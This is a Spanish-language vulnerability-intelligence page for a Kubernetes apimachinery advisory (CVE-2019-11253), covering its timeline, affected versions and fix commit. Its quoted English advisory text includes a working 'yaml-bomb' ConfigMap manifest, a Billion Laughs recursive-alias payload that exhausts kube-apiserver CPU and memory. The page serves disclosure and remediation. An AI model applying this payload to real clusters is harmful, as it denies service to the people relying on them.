llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Go · k8s.io/apimachinery

GHSA-74FP-R6JW-H4MP

Kubernetes apimachinery packages vulnerable to unbounded recursion in JSON or YAML parsing

Parche disponible
Descargar PNG JSON
CVSS
—
high
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versióncommit 9ce6eca
Exposición1.380 dDesde la divulgación, 7 feb 2023, 7:35 p. m.
Detección1.378 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Monitoreo
Detectada
8 feb 23
7 ago 26
17 nov 26
19 nov 26
8 feb 23
19 ene 24
29 dic 24
9 dic 25
19 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-74FP-R6JW-H4MP divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

CVE-2019-11253 is a denial of service vulnerability in the kube-apiserver, allowing authorized users sending malicious YAML or JSON payloads to cause kube-apiserver to consume excessive CPU or memory, potentially crashing and becoming unavailable.

When creating a ConfigMap object which has recursive references contained in it, excessive CPU usage can occur. This appears to be an instance of a "Billion Laughs" attack which is quite well known as an XML parsing issue.

Applying this manifest to a cluster causes the client to hang for some time with considerable CPU usage.

apiVersion: v1
data:
  a: &a ["web","web","web","web","web","web","web","web","web"]
  b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
  c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
  d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
  e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
  f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
  g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
  h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
  i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
kind: ConfigMap
metadata:
  name: yaml-bomb
  namespace: default

### Specific Go Packages Affected
- k8s.io/apimachinery/pkg/runtime/serializer/json
- k8s.io/apimachinery/pkg/util/json

Versiones

Rangos afectados

Afectada Corregida Última
k8s.io/apimachinery< 0.0.0-20190927203648-9ce6eca90e73
0.0.0-20190927203648-9ce6eca90e73
v0.37.2
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
gok8s.io/apimachinery
Corregida commit 9ce6eca — v0.37.2 no afectada
Versiones corregidascommit 9ce6eca
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2019-11253
Advisoryhttps://github.com/advisories/GHSA-pmqp-h87c-mr78
Otrahttps://github.com/kubernetes/kubernetes/issues/83253
Otrahttps://github.com/kubernetes/kubernetes/pull/83261
Otrahttps://github.com/kubernetes/kubernetes
Otrahttps://groups.google.com/g/kubernetes-security-announce/c/jk8polzSUxs
Otrahttps://pkg.go.dev/vuln/GO-2022-0965
Otrahttps://stackoverflow.com/questions/58129150/security-yaml-bomb-user-can-restart-kube-api-by-sending-configmap

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.